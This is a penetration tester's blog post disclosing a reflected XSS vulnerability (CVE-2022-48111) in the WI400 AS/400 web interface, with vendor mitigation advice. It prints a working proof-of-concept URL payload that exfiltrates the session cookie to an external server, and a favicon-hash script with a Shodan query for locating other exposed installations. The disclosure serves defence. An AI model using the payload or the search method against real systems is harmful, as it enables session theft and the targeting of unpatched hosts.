This post makes public a vulnerability I happened to discover during one of my activities as a Penetration Tester.
Published on March 02, 2023 by Alessandro Albani
how to cybersecurity vulnerability CVE-2022-48111 XSS cookie exfiltration
4 min READ
WI400 is a software developed by SIRI that acts as a web interface for the IBM Power Systems (AS/400). During a penetration test activity I found a reflected cross-site scripting (XSS) vulnerability on the login page. This allowed to craft URLs with arbitrary JavaScript code injected that would execute once the link was visited.
A cross-site scripting (XSS) vulnerability in the check_login function of S.I.R.I. s.r.l WI400 between v.8 and v.11 included allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the “f” parameter.
During a black-box penetration test activity carried out on the WI400 v9.5 emerged the possibility to reflect some parameters in the server response. By further investigating the matter, I found out that the login page was vulnerable to reflected cross-site scripting attacks. Once confirmed, it was possible to exfiltrate the session cookie. In a likely scenario an attacker could, for example, steal it by means such as a phishing attack and log into the system impersonating the victim.
As a proof of concept, rather than popping up an alert printing the cookie, the JavaScript payload was crafted as a XMLHttpRequest that would send the token to an external server.
The following is a POC snippet of the request with the payload used to verify and confirm the above mentioned vulnerability.
GET /WI400/index.php?t=CHECK_LOGIN&f=";const+req+%3d+new+XMLHttpRequest()%3breq.open("GET",+"https%3a//[REDACTED]/"%2bdocument.cookie)%3breq.send();var+tail="y
HTTP/1.1
Host: [REDACTED]
Cookie: PHPSESSID=o7p2j3i1a14sb1fp8e1s1hhuv7
[…]
In the server response it can be seen that the payload is returned without proper sanitization so the JavaScript code executes correctly once the URL is visited.
HTTP/1.1 200 200
[…]
<!DOCTYPE html>
[…]
var FOCUSED_FIELD = "";
var FOCUSED_TAB ="";
var REFRESH_FOCUS = false;
var __WI400_HMAC = "";
var __WI400_SESSION = "";
var CURRENT_ACTION = "CHECK_LOGIN";
var CURRENT_FORM = "";const req = new XMLHttpRequest();req.open("GET", "https://[REDACTED]/"+document.cookie);req.send();var tail="y";
[…]
In fact, as one can see in the picture below, the code executes on the target and the user session cookie is successfully exfiltrated to the “attacker” server.
In order to exploit the vulnerability no authentication is necessary.
To understand if other versions of the software were subsceptible to the same kind of vulnerability, I needed to find other installations of the same. To do so, I used what is, in my optinion, a pretty nifty trick. I calculated tha favicon hash with this python script:
import mmh3
import requests
import codecs
response = requests.get('https://[REDACTED]/favicon.ico')
favicon = codecs.encode(response.content,"base64")
hash = mmh3.hash(favicon)
print(hash)
and then we looked it up on Shodan with the following query: http.favicon.hash:[REDACTED]
A pretty cool tool that does the same thing but I didn’t know at the time is Fav-up.
After comparing the codebase in the new-found installations with the one I was testing, I was able to confirm that multiple versions of the software were vulnerable to the same XSS. The vendor was promptly notified of the findings.
If your version of the WI400 software is included between 8 and 11 you can choose one of the following:
We recommend all our customers to activate the “safe mode”. In future releases the parameter will be enabled by default and cannot be disabled.
Contact the help desk for further information.